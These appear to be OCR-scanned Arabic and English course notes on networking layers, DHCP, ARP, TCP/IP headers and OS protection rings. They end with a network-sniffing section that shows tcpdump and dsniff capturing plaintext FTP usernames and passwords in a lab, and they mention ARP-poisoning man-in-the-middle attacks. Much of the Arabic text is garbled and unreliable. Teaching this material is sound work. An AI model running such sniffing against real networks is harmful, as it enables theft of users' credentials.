(Physical Layer) JI J:s 4Y bits and bytes ixa Lo frame JI Iia cable JI &y 5 « Layer Protocols

S 6 2N e 3ab S Gslzel sa s dlile BT S “Service Block” JU 2wl b 1ia cLayer 1

4el3Y 5w Communications Ji i les

Y 8 e o) SIS 13) . Leslil Al U1 (3 gt (Layer 2, 3,80 4) (pe IS Lo SUIS ¢yl lalot p s
esll o 3 SN 5l $lials OSI Model JL L. oL

Layer 2 (Data-Link)
o wsts bl V15 <OSI Model Ul e 5 B Iy il s 21y (3 Layer Jl eda s LalSS 6 1S

Carily a5 il eda 3 r gz Ethernet J1 0 5 0L b U 21(S . Jraid)
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device JI s Kl w,l5 sas NIC Gl OF a6 &l ) Joy OF ay Sler Y
Ji 51 Physical Address wle Gl « 5T Olye @l o wlin ¥ o ol Olype oo e
Hex Jl daeay by 6 bytes s address JI lis 0,8 <MAC (Media Access Control)

ks

XX IXX XX XX XX XX

Broadcast Domain JI & J=ls =1 Jl 5l e frames JI Juo s Data-Link Layer JI o 55

il bt o Sler ) packet ) 3Cadl s 55 Y1 Tl 0 13 ST
& Ge P JI e 3580 G b Sl e 1850 Btladll CLualu¥) Gan e Slae S 4101 3 oo
Eo B0 Sler Joo s p s ikendl odn 3 ARP U1 J 5 555 a5 5 DHCP Server JI 3, b o

..DHCP Server \. J> »

CMAC @lliay Lo pa claay 1P ey Y 5ledl g 4 Lol 1P J15ledl s il aS dalesd

Optaining an address
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Understanding Hacking and Information Security ylagleall galg dy905218 dmall

DHCP server: Arriving client . .
933.1 2.5 Broadcast  Jl.,b Sled! psi

O e 21 5
Source port: 68

- DHCP discover : Destination port: 67

o | s 0.0.0.0, 68 '

- | dest: 255,255.255.255,67 : -

. | DHCPDISCOVER : fPort 67 Jildaisl, =

. | yiaddr: 0.0.0.0 .

¢ | transaction ID: 654 DHCP offer : L=, DHCP Server J oY

/ src: 223.1.2.5, 67 T

: dest: 255.255.255.255,68 | - - .

: o ety : Jl'e 52 .14l connections JI
yiaddrr: 223.1.2.4 .
transaction ID: 654 . SR O v L DHCP
DHCP server ID; 223.1.2.5 A d Jk

DHCP request Lifetime: 3600 secs

src: 0.0.0.0, 68 | PERRYS
dest: 255.255.255.255, 67
DHCPREQUEST

yiaddrr: 223.1.2.4
transaction ID: 655

DHCP server ID; 223.1.2.5

o P J) pDa] do 13Ley ™
Lifetime: 3600 secs < f ) ’

!

7

DHCP ACK
¢Server JI
src: 223.1.2.5, 67 :
dest: 255.255.255.255,68 | .
DHCPACK : Lad| 1P JI 5l (,i.w Ol
yiaddrr: 223.1.2.4 -
transaction 1D: 655 . . s .
DHCP server ID: 223.1.2.5 | e weddiny (JE DHCP JI s
Lifetime; 3600 secs

\‘ T o VT aSTL g o1 530
de AT 5l Y Lt e
Sl b o e g AS2)

& 334> (Gratuitous ARP) Packet

o
Time Source: Ref(2)
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el p i 1l 1P 1 Vi Sty 556 Y1 a0 0B <IP Il s plaenal oy &l 45521
s A g 715 » DHCP Server J| &by jle! 1ia p yiw g <"already in use” ARP packet

Yl o 10K iz IP

?_fl g Client <e® DHCP ARP Packet JI Sl (8 ek

e —1= gerver :

- oo IS B e b
DHCP DISCOVER k1 1P J st
DHCF OFFER

F

ARP Messages
DHCP REQUEST

L

J\O.agl.oj}&o(.&;w..byu

Ny ARP messages

DHCE ACC

F Y

ARP Gratuitous “ARP request and reply”
ARP request or reply Ji lia

]

JI ia Jze e i Lg o
frames
S~V frames Jl &, oy Al OF L (S

ARP-type 05 15| s Ethernet JI i ¢ 5 e a5 Sl Ethernet JI sl frame J1 134 Header JI & oo

IO 3y Jeaidd! e e ) gl IP-packet
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Understanding Hacking and Information Security aylagleall gpalg 8436532180 d3mgall

g2 Il..:’ _I"___d_f_ﬂ//
< 2y
%“ < "% AN

Swileh

.
PCt \ "\-\.@\\
e

ﬂ%

15\

™~

PC2
/-'ARF" request
/-'ARF" reply

IP 192.168.100.102 ) LUl MAC Ji &lla; ¥ PC1 01 5.1, AARP request and reply Ji s 5, S0

(e switch JI 4} ARP Request Ju b p 52 ca JLasil ol o) JWL 5 14,0 ARP Cache JI 3
JI szl ports I s o0 4 flood o o 52 5 ARP request Ji s Switch JI Lz, (MAC Ji s e
P Jl1ds fot o) 5Lt elenal Alo J odin 5302 Y) momr Jagons L crequest JI s« ST U1 port
MAC JI s Ly s 055 o 53 U1 switch JI 4| ARP reply msg Stu 4 5 JL o 535 +192.168.100.102
S s (MAC Ji s b gl 5ledt ) Wlub o 52 o5 <reply Ji s < sl g1 port JU dpad|
o si L & LUl MAC Addresses Js 30201 (3 ane 135621 1 slie U: s ARP Cache 4,J (PC1)

. table JI144 Update fox
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Sending Packet outside domain

.$9 Subnet JI )+ Ls dg I packet Sl | 5 g ¥1 T 51,1 0] 130 L 1 &1) (3 ol o (01 15l ) gt

192.168.1.254/24 192.168.2.254/24
y oo

it e

S e

PC1 PC2 PC3 PC4 !

IP 192.168.1.1 IP 192.168.1.2 IP192.168.2.1 IP192.168.2.2
DG 192.168.1.254 DG 1592.168.1.254 DG 192 168.2.254 DG 192 168.2.254
00-16-76-00-00-01 00-16-76-00-00-02 00-16-T6-00-00-03 00-16-76-00-00-04

y oI MAC JI e oJxze) ARP Request |, o) <l PC3 ) packet JL. b PCL s s
J MAP Jos) ARP JI plascaly U5 e Lose o3 ..unreachable asy PC JI s of ey &Y
Distination JI ya & e Jslaz 5 €00-00-0C-00-01 & Ll MAC JI Jf (Gateway IP: 192.168.1.254)
e 5% router JI 4] frame JI Juay Lokis 5 .PC3 Ol yie 525 (Dist. IP: 192.168.2.1) JI Js s&Y| xs MAC
router JI . forwarding table JI (3 c>Jis Lo MAC JI A1) o= o= Network Layer JI ] aedez

Lad ARP U1 J ;S 555 5 router I pusie s PC3 5Ledkly [olhl IP Ul 1 ) axy I interface Ji s
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I @ ol o5y p 52 (I switch JI ) packet JI Ju o3 . LI MAC JI ) IP J1Hdd MAP fos)

portJilis e frame Ji Ju 5, S PC3 JL oI MAC [ LI Port JI ye 4,0) CAM table

Layer 3 (Network)

S SUHs &l g e WL ple Jsey Addressing and Delivery JI cleas L (’”ﬁ A dzball oda
sl U 3 U Lo U U Gl jaslath S oo L)

Bolallodn iz &) § TCP/IP mllavas ooy 3Ls

“The use of Transmission Control Protocols (at Layer 4) over Internet Protocols (at Layer 3)”

Il edy Lol Joolidl e 3,le gay Packet JI U] &b JS wdlsl 55 Ul Header J e LSS
.Packet

.IP Header Ji lia e S5 IS

IP Header

Options JI 4 4 20 bytes a~lus 3l3 5 (IPv4 Header JI s 5 JSCEJ11a
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Bit 0 Bit 15 Bit 16 Bit 31

Version (4) L(I;Inedatge(;) Fgf'osrgvig%gf Total Length (16) A
Identification (16) FI(%?S Fragment Offset (13)
Time To Live (8) Protocol (8) Header Checksum (16)
20
Source IP Address (32) Bytes
Destination IP Address (32)

IP Options (0 Or 32 If Any)

Data (Varies If Any)

s Lans U o s clo s 3 el Field S .55\

Version: These 4 bits specify the IP protocol version of the datagram, here it is IPv4.

Total Length: This is the total length of the IP datagram (header plus data),
measured in bytes.

Identifier, flags, fragmentation offset: These three fields have to do with so-called
IP fragmentation " |15 dx duoll oda ye WIS"

Time-to-live: to ensure that datagrams do not circulate forever, this field is decremented by one
each time the datagram is processed

by a router. If the TTL field reaches 0, the datagram must be dropped.

Protocol: indicates the specific transport-layer protocol, For example, a
value of 6 indicates that the data portion is passed to TCP, while a value of 17
indicates that the data is passed to UDP.
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JI J) Packet JI J so s Ly U oy ¥ o Joo 531 Llos 4 Less Reliable s 1P JI il L
Tles bl g s (gl ye $ DU ICMP Packets JI pas<is ICMP Jl asls o gl <l . destination
<3S ) Seas «Packet JI g5 4Z o2 Protocol Jb oWkl Field Ji 3 & LY ol 5T Jl Yl
ACMP JIJ S 55 2 (8 am o 165, fiield JV s (6 s ICMP msg

s e g pdiind s o | Test Connectivity foa) Hosts JI o L"9,,L.»T S5 ICMP U r.u,:wj
Echo Reply s Echo Request JI »» ICMP Packets JI s

messages Ji ax U L5 ,ele “Ping” o oo b s reply 5 request Ji s i o4&

1S 55 Al I yelall Zaslell

| Type | Code] Description |
0—EchoReply || 0 | Echo reply (used to ping) |
o | Destination network unreachable |
1] Destination host unreachable |
3_Destination | 2 | Destination protocol unreachable |
Unreachable || 3 | Destination port unreachable |
|4 | Fragmentation required, and DF flag set |
| 5 | Source route failed |
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HICMP msg type 3 JI s 5 Jas Jle 1

Frame 8: 102 bytes on wire (816 bits), 102 bytes captured (816 bits) on interface o
Ethernet II, Src: CiscolInc_8b:36:d1 (@@:1d:al:8b:36:d1), Dst: Vmware 8e:37:ea (00:50:56:8e:37:ea)
Internet Protocol Version 4,|Src: 192.168.3.1, Dst: 192.168.1.2 |
@1le@ .... = Version: 4
. 9101 = Header Length: 2@ bytes
Differentiated Services Field: exee@ (DSCP: CS@, ECN: Not-ECT)
Total Length: 88
Identification: @xe9a2 (2466)
Flags: oxee
Fragment offset: @
Time to live: 125
Protocol: ICMP (1)
Header checksum: @xaeaf [validation disabled]
source: 192.168.3.1
Destination: 192.168.1.2
[Source GeoIP: Unknown]
[Destination GeoIP: Unknown]
Internet Control Message Protocol
Type: 3 (Destination unreachable)
Code: 3 (Port unreachable)
Checksum: @x828a [correct]
Unused: 00000000
Internet Protocol Version 4, Src: 192.168.1.2, Dst: 192.168.3.1
User Datagram Protocol, Src Port: 41981 (41991), Dst Port: 33437 (33437)
Data (32 bytes)

from www._networklessons.com

IP Fragmentation

Oe JasyL W C oLl Packet | oz S s :M>- "Maximum Transmission Unit" Ji s MTU Ji

.Hosts JI

The maximum transmission unit (MTU) is the size of the largest network layer protocol data
unit that can be communicated in a single network transaction.
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I3 packet JB (Y1 LT Errors gl & sus ol s code ol laeY 4 T ot e P Epe
L Gy a5 Sl YL Link i o s e dl Il I 15 3 im0 (et

§ o) 5S Packet Jla | Us )T 0] 13L S 5

ﬁJM; o Spreo wlad ] Lgnalsy o i T sxes ..Packet JI o4 Fragment s o ss AU oda (3
(S ﬁM; 82le] oz Destination Ji ) | slay Lekis 5 prL;

tilesdl s e g QLI JSCEI

Fragmentation:
In: one large datagram (4,000 bytes)
Out: 3 smaller datagrams

Link MTU: 1,500 bytes
U] =0 | =l |

Reassembly:
In: 3 smaller datagrams
Out: one large datagram (4,000 bytes)
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1l edye £ S35 0F 5 4 Transport Layer Ji 4 &b Jaxs of 1

Remember that the Internet’s network-layer service (IP service) is unreliable. IP does not
guarantee datagram delivery, does not guarantee in-order delivery of datagrams, and does
not guarantee the integrity of the data in the datagrams.

Network Layer Ji 1 La;jf Y A jesladloda U J;jj Transport Layer JI Jf La-lo>l oy Lo lda

Layer 4 (Transport)

sl ety Bler pbl Suld ST ae o 81 il odn o 1okl caldl jan e WJSo
Il gl p 535 Ly FTP U1 sl pliienals 5 V1 Lo ile Joamty 3501 ol (8 555 o315
Lol Telnet J1 e (ilez 3 you 5T Jluail sy p 55 LS Telnet J1 plasezaly 3,41 e
SENFURUKTCIRUEA R0

Four application network processes running:
An HTTP Process, FTP Process, and Two Telnet Processes.

oo oA e e Process [0 Leloo 55 i SV e Lesldl Data JI Caceas Lo o5 S o Sl |

e el daus L A5 & Transport Layer JI aab s L] 91 “Telnet” pesl I juid gio (] Sl 55
“Multiplexing & Demultiplexing”

Multiplexing & Demultiplexing
oo Data Jleds (3 J=15) &l okl Transport Layer Ji Jimas Ladie «liN1 o 5 dond La
o ks I Process JI J) Data Jieda Jovo 53 p sind <Network Layerlg.s J.!:.J A dala]l
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Data Ji 4 55 o5 Data JI o1d LUl Socket JI 4;02 2 Segment Header JI e 5, b o 5 o
-4l Application Process JI ) Data JI J&s e, 54 s o 525 <Socket J 104

At the receiving End
“DeMultipiexing” :JL b Ul Socket JI 1| “Transport Layer Segment” J! |oo 55 Llas e L,J/Jaj

At the sending Source
JI ¢l ~1s Application Layer J! .y ul.;i\ Sockets JI o &l data JI @ s Jo gl
Network Ji ] L1 |5 Segment Ji ,, ;5 data JI ol e Header Ji x5 3 Jé;ﬁ\ Encapsulation

SMultiplexing” :JL Layer

Web Per-connection . . . . R ) . )
SEIVOrB HTTP <,k 3 Demultiplexing JI &les o3 ML 5 1S
processes
Py oo Connections &M J s 5 Jay Web Server JI 1ia
+—Transport- Jl user |G iiladl Data Jaxg (b Opedomios il
layer

demultiplexing &lr_yuﬁj o 1K2dL M\ Jc)‘:*wl\ )AJ)WSOCKG'[
.user JSJ La.2511 Process JI

Header JI ja=i Ja o5 oda el iles @up

) C”bﬁs L;J\ k}?A.c}:.n fields JI lis (¢ 42 &> <Segment
J - 4 :
_J sl ol o CaS Ly Segment I ol ¢ 5
.Data
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TCP Header

Transport J! dzkes ,»Ukl Header Ji L

Bit 0 Bit 15 Bit 16 Bit 31

Source Port (16) Destination Port (16) A

Sequence Number (32)

Acknowledgment Number (32) Bit% 5
Lg',fga}ﬂe(ﬂ;) Reserved (6)| Code Bits(6) Window (16)

Checksum (16) Urgent (16) v

Options (0 or 32 If Any)

Data (Varies)

‘lgzos | S TCP Flags J1 i «Code Bits el field JU iolh| foolidl Lan om0 2T IS5 s

Byte 9 1 2 3

Bit| o| 1| 2| 3| 4| 5| 6| 7| 8| 91|11 |12 |13 |14 |15 |16 |27 |18 |19 |20 |21 [22 |23 |24 |25 |26 |27 |28 |29 |30 |31
@ | @ Source Port Destination Port
4 | 32 Sequence Number
8 | 64 Acknowledgement Number
12 | 96 |Data Offsetﬁ % a E:'% E 3 3 3 2 Window Size
16 |128 Checksum URG Pointer
20 |160 Options (could be longer than 4 bytes)
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‘Header JI lis 3 &gl Fields JI s med 52 p st
1 Mechanisms JU Layl Lo 2503 (S Ly e Fields Il odd Sliy e il &l o i
.Reliable Connection J| iJus Jid TCP JI Lgaddeins

Checksum: Used to detect bit errors in a transmitted packet.

Timer: Used to timeout/retransmit a packet, possibly because

the packet (or its ACK) was lost within the channel.

Because timeouts can occur when a packet is delayed but not lost,

or when a packet has been received by the receiver but the receiver-to-sender ACK has been lost,
also when a duplicate copies of a packet may be received by a receiver.

Sequence number: Used for sequential numbering of packets of data flowing from sender to
receiver.

Gaps in the sequence numbers of received packets allow the receiver to detect a

lost packet. Packets with duplicate sequence numbers allow the receiver to detect

duplicate copies of a packet.

Acknowledgment: Used by the receiver to tell the sender that a packet or set of packets has been
received correctly.

Acknowledgments will typically carry the sequence number of the packet or packets being
acknowledged.

Negative acknowledgment: Used by the receiver to tell the sender that a packet has not been
received correctly. Negative acknowledgments will typically carry the sequence number of the
packet that was not received correctly.
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Window: The sender may be restricted to sending only packets with sequence numbers that fall
within a given range.

By allowing multiple packets to be transmitted but not yet acknowledged, sender utilization can
be increased over a stop-and-wait mode of operation.

{05 o Flags JU Lokl Field J1 Le o xzd Ls Mechanisms Ji sis e s x5 0f aas 0315

TCP flag Meaning Purpose

URG Urgent Identifies important data

ACK Acknowledgment Acknowledges a packet; it is turned on for the majority of the
connection

PSH Push Tells the receiver to push the data through instead of buffering it

RST Reset Resets a connection

SYN Synchronize Synchronizes sequence numbers at the beginning of a connection

FIN Finish Gracefully closes a connection when both sides say goodbye

i 2o Fields Jleda Lo G320, Segments )« v il Llas; Transport Jl ik o4&
ol >N .Segment JI oda ds U TCP Flag JI & TJ?'T s Ack number JI s Sequence number JI
32 bits -,¢ 5,Le Ack JI 5 Sequence JI ;s s

£.ACK” JI s “Sequence” JI oda 356 L g

“The sequence number and acknowledgment number are used to maintain state”
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TCP Three-way Handshake
s £l a2 0T Y s Sy IV Bles o5 S oo Server o dlas] eli] 55 Sl 5,4
“Sequence and JI x» JI 234 TCP Flags Ji s (e 5 A=Y pdsind o~ “Three-Way Handshake”

Ack numbers”
Al deaa] Lg JsadL MYY: dal o al;fwf <ACK JI s SYN J! P 4ol TCP Flags J!

| I 5% Segment Jull LA L
" ?

SYN ) g5 oo el Ul 2 e L TCP Flag
/ . )
V P 2 sps «Server JI leagaty G «SYN
A A
~ W uS% SYN/ACK Jlu,l Lle
< SYN/ACK 0\ » Jlol L
\ Al JISYN | aodlend
‘ = Jisvn e
‘Il.‘
| ACK ) } )
174 o;lé}w:\éLrACKui)}un\?Lpg}rj
v
Lk )T I SYNJACK ) Ledzuly
s L )l DLV Tug a5 (L
.“Handshaking” J Llee o ST iad La
QU Sl re ol
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SYN packet

SYN on ACK off
seq # = 324808530

ack #=0

SYN/ACK packet
: SYN on ACK on
Client |<— coq # = 288666267 Server

ack # = 324808531

ACK packet

SYN off ACK on
seq # = 324808531 [
ack # = 288666268

M LSS 1 2 1 plaset 25
(Cilent) > e Lo s clgie 2 Sequence number Lo 0T Y Wlw | o sdydr Al (61 0T sl
Il Ll Lle 5 3L Server JI gl (Seq: 30 Jad SYN g5 e SegMent &f Lol (dlasVl sl
Il sda dorlw QUL Seq: 30 Jod I SYN Jledd asdhealy L of oy o = el =Y «SYN/ACK
0l ACK ixes (SIS Sudl Tasdewl uS 5 0L Leadawsl &1 U . “Increment by 17 Joxs o sk 5 Seq

.(31) ‘.5,3\ a9 “ACK = your Sequence number + 17 J.g.f- Segment W . 1.5 .!1Seq J!
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S sie 03,5 055w [ ID 4 Lgze s Sequence number JoZ 0T 0% a0 Segment L | Bl
(67) (3.0 pn5 e S 4l S L
(68) o3,}1 525 “ACK = His Sequence number + 17 &) s 225 il I LSl 2 a5 55 01 o S 0¥

roVoldl wag Lo W s 5y JSEI1 s

Client Server

Allocate TCB

Allocate TCB

tb ubiq Sequence Number Ji 556 ol J 5l L

“Sequence numbers allow TCP to put unordered packets back into order, to determine whether
packets are missing, and to prevent mixing up packets from other connections”.
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: I el e Ll 15 0 4G L )

Data-Link Layer
Network Layer
Transport Layer

J51s Lol 31501 G Traffic J) Ol Clol e 4501 el LU =T Appendix-B iax! 3 SES
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Introduction
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A1) b sl Lo L g g ol oo Lo Lile A1) Y
They Force a Response... Which fixes the problem!.
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Computer Security

Wl pney 0.8 JI Jo Lehiats o5y 5 b Compile oo o5 LenlsS oy A1 el dl e IV O LedsS
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.Users JI s Applications

Al oV Sl 4 g T Vit 4 13

“Protection Mechanisms” JU aliis +U3T anis el G oS Loy I ILN e Q.Uaj

{2 Lo ¢1 531 B ] s Mechanisms Jl e s

Rings
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Security Modes
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Rings

Ring 0: OS Kernel/Memory (Resident Components)
Ring 1: Other OS Components

Ring 2: Drivers, Protocols, etc.

Ring 3: User-Level Programs and Applications

Rings 0— 2 run in supervisory or privileged mode.
Ring 3 runs in user mode. L

organize .= Architecture Jilis o 4,
i utilities J 51 Applications JI s
JESCE /ISR NP S VO P
“Under the control of this O.S” ¢|da

J*1> g 5 Architecture JI s o 53,
u,glf&;éf-\j} lew Je& Rings
G o2l S (Rings JI el oy seadl
sl

Ring JI & =11 J) T Ll (IS
STy del S-S e Wam IS

G JeNI » “Ring 07 JI O ek
Processes J ;Ses o cl-dlall
o 5% OTRINg Jl o wldo ez |

Jslels . .Resources Y Access  Jos

A JSs Memory JI me Jalal 51 <«CPU JI ~
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Computer  JI I 4wdl “Most Trusted” JI Jxs 145 “O.S Kernel” JI Ring JI ola ERREP

.Memory JIs physical hardware J! - Al S bl e Sy «Y <Hardware

Joe 5T 2kl Tasks JI 1izS 0.8 I Lz p s I &Ll Operations JI &z o35 La :Ring 1 d1 ) b

.Processes Switching between

e Jlis elleelo
iV et Browser Ji stk o 3Y A 8 GVl an ad 3T word Cils sy p T Lo
“Context Switch” foa; 0.8 JI Lgw p 2 Word I Cils ] 6 5150 5 s0lu il (o g3l Loie
I JsYl dlas 3 ade olS aoy =T aie Word JU dold process Ji Lais 6l 15 OIS e

(s #1550 el 83 52l p 42 . Browser

:Ring 2 J1 4 Ja=s

«s Y system utilities JI 5 Input/Out Put Drivers JI . Jo! 5 & Privileged Lo u> () Lo s
BNl 035 L) Access s Apps JI A e ¥ s Special Files Ju a5 g
.Ring J! eds wl>Mas
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Applications
i v
Kernel
Y Y ]
CPU Memory | |Devices

e 5L el 15 Applications JI & LAy .. Ring 3 JI T
R Slim] £503 ¥ G User JU dold) iz P oda
Had LAl olSall s g 5 o plasl)

“Ring 0”7 JI 3 ok sV Kernel JI e 5 JSC2)1 1

Cledl o2 Y5 .J@_&i\‘SHardwared\CojiszigJ»bQ@
R %“51.»9, «Hardware JI s Sl Jiy Jeladly Applications S

e S T Y T el ot 131 Lo 5 s 55 Kemel J ] b Jlo ) o 23

Operational States

“Process States” JI Lyl e o

055 &= (User Mode) Ji pllss 3 0555 Ol Ls| ¢ Process Modes JI &> s Process | acuss a

el :;,.? (Privileged Mode) JI plai (3 0555 Ol Ly «<“Low Privileges” .ikasd ol
Lebes o g5 OF o5 Tus O 3 Process Tl £ =l States JI Lo 0 5xz) La .System Jl LS

Process JI @ sl Al a5 4 Lol Process iy p sk « s Application =iy p s Lidke S

2 ol el e Lol sl s & e Joldl 0.5 I C.La..w La_.& 5 process J! o.a <manager
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:Process Jl eda L F Il oYU L dalil

Process needs another
time slice O Stopped

New processes

When process finishes,
or terminates

If CPU is available

O > () Running

Ready
Unblocked

Block for 1/0,
resources

O

Waiting

Ready: The process is ready to resume or begin processing as soon as it is scheduled for
execution. If the CPU is available when the process reaches this state, it will transition directly
into the running state.

Waiting: “waiting for a resource”, the process is ready for continued execution but is waiting for
a device or access request.

Running: the process here executes on the CPU and keeps going until it finishes, or it blocks for
some reason.

Stopped When a process finishes or must be terminated (because an error occurs, a required
resource is not available, or a resource request can’t be met), it goes into a stopped state.
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G 1 ey ol B2 ) e 4 &\ Mechanisms Ji s plaswal; Operating System Ji o s oLyl S
skl Ll 5L ol i Applications U ws fatadl ol Jalasy L {gls 4231 35 (Ring 3) JI & KD
:Sjw‘o.hgéup}zhic%})

“Software is Not Trusted!”

Technical Mechanisms

‘Operating System JI voawai dis HlzeNl 3 J 55 I Technical Mechanisms JI jas e (IS

Ll SV ada an ey Bl il e Jrsdl s folay CiS W e g S
Layering, Abstraction, Data Hiding, and Process Isolation
P AL b sl

Layering
dis elell 25 ds e seb Xx86 Architecture JI (3 4 d sell Rings JI fal wlie Concept JI 1ia

O&Q - NiSa s «(Upper Layers) Ji 3 Pl J;‘Y\ o (Low Layers) Jh g ?M_}Uj w4l Functions
Layer J}.Q da ol gl by 5 55 e e (S 5542 "interfaces" e Layers Jleda gy Jool &I

(AT Layers o oo ol po ezt

Each layer is protected from tampering by any other layer, Also outer layers cannot violate or
override any security policy enforced by an inner layer.
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Abstraction
s W 2 “Black Boxing” Jl g s¢ae 4.2 Abstraction JI s

¢ Black Box J! ldals

ol p s inputs el L Ul Object Ji i System Ji i Device Ji te pllall lia Gl
Hogi b S Al olleal e lallay Y 5 «Outputs

Lotis Bud 1 o) o SOl Y py g e s ol Of L3 0.8 I e i) L Sl
Joms 52 Back Ground Ji & sa Lo & 6 5550 bl s Slts Word Ji sl s ety 435
I s 1 i) T sl Yl

:Black Boxing J! ¢ s s g2 JSC2!

Output

Blackbox >

----- Stimulus Response

| '“HI.

User s Gl eolSall slacl Jazi¥l e Yo «JEll Jw Lo Access Controls JI collee
o <Groups sLisl ¢ 58 LT ixey (2l s Lo 5o Objects Ji s 5,5 A1 0,5, .. “Subject” LA _ouds
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Lie 5056 Lelsy a1 1da .group Ji i col-Mo liasw ca ol group Ji Jf user Ji ez OF 5 e 5

33)[.@'.0 Q?M}ﬁ%wk&me&u\

Data Hiding
Security Level lg=s 35,k o SULU LA £5 A5 8 L Layering JI o e w5 Lold] da
(UL eds CaES e i ) 2ald ¢ 1 Security Level 1) x5 Process ol QUL s

It ensures that data existing at one level of security is not visible to processes running at different
security levels.

Process Isolation
s o 5 I resources Ji moa s ani &l 0.8 U Lo A jasliadl gl s Lol oda
JI 1 Applications Ji 51 sesl_l #ledl o5 clgndns 2 g e Slobe 1] MEMOTY JI (s La oo
Lol el Lo 2y oLl eds o105l 0.5 s e Jans 1 utilites
process s ey 23 %;J;’\; o process (T a5 Y ooy processes Ji sda il Joridl ol p s
M ia52 o memory JI Jsls 5 Lae Y aC0ESS fos 35lE o

Requires that the operating system provide separate memory spaces for each process’s
instructions and data. It also requires that the operating system enforce those boundaries,
preventing one process from reading or writing data that belongs to another process.
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“Computer Security” Jb daadl lwlu¥1 jam e Godd| e lugsl 0,5 b )
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Network Sniffing

JIdd Log Jess Lo dsis JY U Traffic I Intercept Jos p sty (gl sreall el I s e v
“Network Sniffer” Ju Traffic

mode JI lis «“Promiscuous Mode” C}j de b S o)l b5 topdump JI e el 0 53

“packet-capturing” J! {des rw\ oy s 3

FTPJL ol Ol bl J.g_)aj A5 tepdump J ok oda

reader@hacking:~/booksrc $ sudo tcpdump -1 -X 'ip host 192.168.0.118"
tcpdump: listening on ethO

21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win
17316 <nop,nop,timestamp 466808 920202> (DF)

0x0000 4500 005d e065 4000 8006 97ad cOa8 0076 E..]l.e@........ v

0x0010 c0a8 00cl 0015 800a 292e 8a73 5ed4 9ce8  ........ ) ..s™. ..

0x0020 8018 43a4 al2f 0000 0101 080a 0007 1£78 L Col/ e X

0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.

0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.

0x0050 3133 13

21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840

<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]

0x0000 4510 0034 966f 4000 4006 21bd c0a8 00cl E..4.0@.Q.!'.....
0x0010 cO0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c R A B
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56  ....iieiiinne... v
0x0030 0007 1£f78 ...x

21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42
wiln

5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10]

0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00cl E..@.pR.@.'.....
0x0010 cO0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c R T B
0x0020 8018 16d0 edd9 0000 0101 080a 000e O0f5a  ....ieiiinine... Z
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0x0030 0007 1£78 5553 4552 206c 6565 6368 0dOa ...XUSER. leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13
win 17304 <nop,nop,timestamp 466885 921434> (DF)

0x0000 4500 0056 eOac 4000 8006 976d cOa8 0076 E..V..@....m...v

0x0010 c0a8 00cl 0015 800a 292e 8a9c 5ed4 9cfd  ........ ) ISR

0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fch LGN, e

0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z2331.Password

0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le

0x0050 6563 ec

21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop, nop, timestamp 921435 466885> (DF) [tos 0x10]

0x0000 4510 0034 9671 4000 4006 21bb cO0a8 00cl E..4.g@.@.!'.....

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe R v A AP B

0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b B TS [

0x0030 0007 1fc5

21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76
win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]

0x0000 4510 0042 9672 4000 4006 2lac cO0a8 00cl E..B.r@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe R v A AP B
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10dl & iiinenennnn
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.18@nite

0x0040 0dOa ..
21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27
win 17290 <nop,nop,timestamp 466923 921809> (DF)

0x0000 4500 004f eOcc 4000 8006 9754 c0Oa8 0076 E..0..Q....T...v
0x0010 cOa8 00cl 0015 800a 292e 8abe 5ed4 9402  ........ ) A
226 0x400

0x0020 8018 438a 4c8c 0000 0101 080a 0007 1lfeb LClLecaiaaa
0x0030 000e 10dl 3233 3020 5573 6572 206c 6565 ....230.User.lee

0x0040 6368 206c 6f67 6765 6420 696e 2e0d Oa ch.logged.in...

o A UL O s | S5 FTP Server JL allasl ol FTP Jb ol paseecdl Sl Ll o5 0
!Unencrypted & 45 Telnet J 5 FTP I J S 555 5 plasenanly 5201 e bl
Tl AM‘ ozl @....&)3 ‘J.b)

Using FTP both the command and data channels are unencrypted. Any data sent over these
channels can be intercepted and read. One common exploit that takes advantage of this particular
vulnerability is the man-in-the-middle attack using ARP poisoning and a packet sniffer.
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FTPS J1 oY Session Ji ,elas o) FTP U1 ;s Yy FTPS U1 J 55 555 53 U “Leech” dundl sl 13] sokally
i) SSH Ul plascal Luai Telnet Ji plasciol s Y5 L5 Login J) dles 4225 3 SSL JI psieg
oYLyl

.dsniﬁd\d@ﬁpﬁ&i@wg&&i\ bl Ll p 4% tepdump I oo Nais 25T ol gl o 53

Dsniff:

reader@hacking:~/booksrc $ sudo dsniff -n

dsniff: listening on ethO

12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
USER leech

PASS 18@nite

Building Our Sniffer!

Al Network Sniffing Ji el r Jaxs CiS & 3 (ye G s OV

N CRINA PRV P SR
Packet sniffers can be coded by either using sockets api provided by the kernel, or by using some
packet capture library like libpcap.

Basic Sniffer using sockets
To code a very simply sniffer in C the steps would be:

1. Create a raw socket.
2. Put it in a recvfrom loop and receive data on it.

A raw socket when put in recvfrom loop receives all incoming packets. This is because it is not
bound to a particular address or port.
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sock raw = socket (AF_INET , SOCK RAW , IPPROTO TCP);
